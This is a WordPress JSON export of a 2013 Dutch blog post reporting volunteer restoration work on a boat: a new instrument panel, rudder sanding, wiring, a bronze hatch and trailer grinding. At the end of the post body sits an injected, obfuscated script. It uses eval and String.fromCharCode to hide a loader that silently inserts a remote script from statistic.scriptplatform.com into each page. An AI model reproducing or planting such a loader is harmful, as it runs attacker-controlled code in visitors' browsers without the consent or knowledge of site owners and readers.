{"id":6638,"date":"2013-02-08T17:07:51","date_gmt":"2013-02-08T16:07:51","guid":{"rendered":"https:\/\/www.kurtcarlsen.nl\/cms\/?p=6638"},"modified":"2013-02-18T08:05:18","modified_gmt":"2013-02-18T07:05:18","slug":"restauratie-status-5-februari-2013","status":"publish","type":"post","link":"https:\/\/www.kurtcarlsen.nl\/cms\/restauratie-status-5-februari-2013\/","title":{"rendered":"Restauratiestatus 5 februari 2013"},"content":{"rendered":"<p><strong>Restauratiestatus:<\/strong><\/p>\n<ul>\n<li>Bij de start van deze avond verraste Ren\u00e9 Passchier ons met zijn volmaakte samenvoeging van oude en nieuwe onderdelen voor het instrumentenpaneel. Ren\u00e9 heeft het voor elkaar gekregen om de\u00a0nieuwe (Elektronische!) meters te voorzien van ouderwetse chromen ringen om vervolgens dat te monteren in de oude Perkins dashboard plaat. Achter de plaat zit een geheel nieuwe behuizing. Knap staaltje!<\/li>\n<li>De niet hechtende verf is weer van het roer verwijderd en de boel is weer opgeschuurd voor een nieuwe poging. Dat doen we dan pas als de temperatuur boven de 5 graden gaat stijgen;<\/li>\n<li>Marc Duijndam en Jan Hottenga hebben een beginnetje gemaakt aan de tractor verbeteringen die we zelf nog moeten uitvoeren. Zie verder de detailfoto&#8217;s;<\/li>\n<li>Hans,\u00a0Peter en Piet\u00a0Chris werkten stug door aan de bekabeling<\/li>\n<li>En Kees jr. heeft het vooronder afgesloten met het schot en daarin het zware, ronde bronzen luik weer op zijn plaats gezet.<\/li>\n<li>Bart van der Luyt heeft het schuurwerk aan het roer afgemaakt en Ren\u00e9 stortte zich met veel lawaai en vonkenregens deze avond op het afslijpen van een aantal niet standaard onderdelen aan de bootwagen. Dat is gelukt en dat zie je ook op de detail foto&#8217;s;<\/li>\n<li>Zelf wist ik nog een inmiddels 3 x gelakte houten kikker op het voordek te monteren, na in de computerbeelden te hebben nagelozen wat de plek precies moest zijn. Veel kleine klussen die toch behoorlijk wat tijd kosten!<\/li>\n<\/ul>\n<p>Benieuwd naar de foto&#8217;s van deze avond, klik dan even\u00a0<a href=\"https:\/\/www.kurtcarlsen.nl\/cms\/gallery\/5-februari-2013\/\">hier<\/a>.<\/p>\n<p>&nbsp;<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Restauratiestatus: Bij de start van deze avond verraste Ren\u00e9 Passchier ons met zijn volmaakte samenvoeging van oude en nieuwe onderdelen voor het instrumentenpaneel. Ren\u00e9 heeft het voor elkaar gekregen om de\u00a0nieuwe (Elektronische!) meters te voorzien van ouderwetse chromen ringen om vervolgens dat te monteren in de oude Perkins dashboard plaat. Achter de plaat zit een [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6639,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[36],"tags":[],"class_list":["post-6638","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-algemeen"],"_links":{"self":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/comments?post=6638"}],"version-history":[{"count":5,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6638\/revisions"}],"predecessor-version":[{"id":6675,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6638\/revisions\/6675"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media\/6639"}],"wp:attachment":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media?parent=6638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/categories?post=6638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/tags?post=6638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}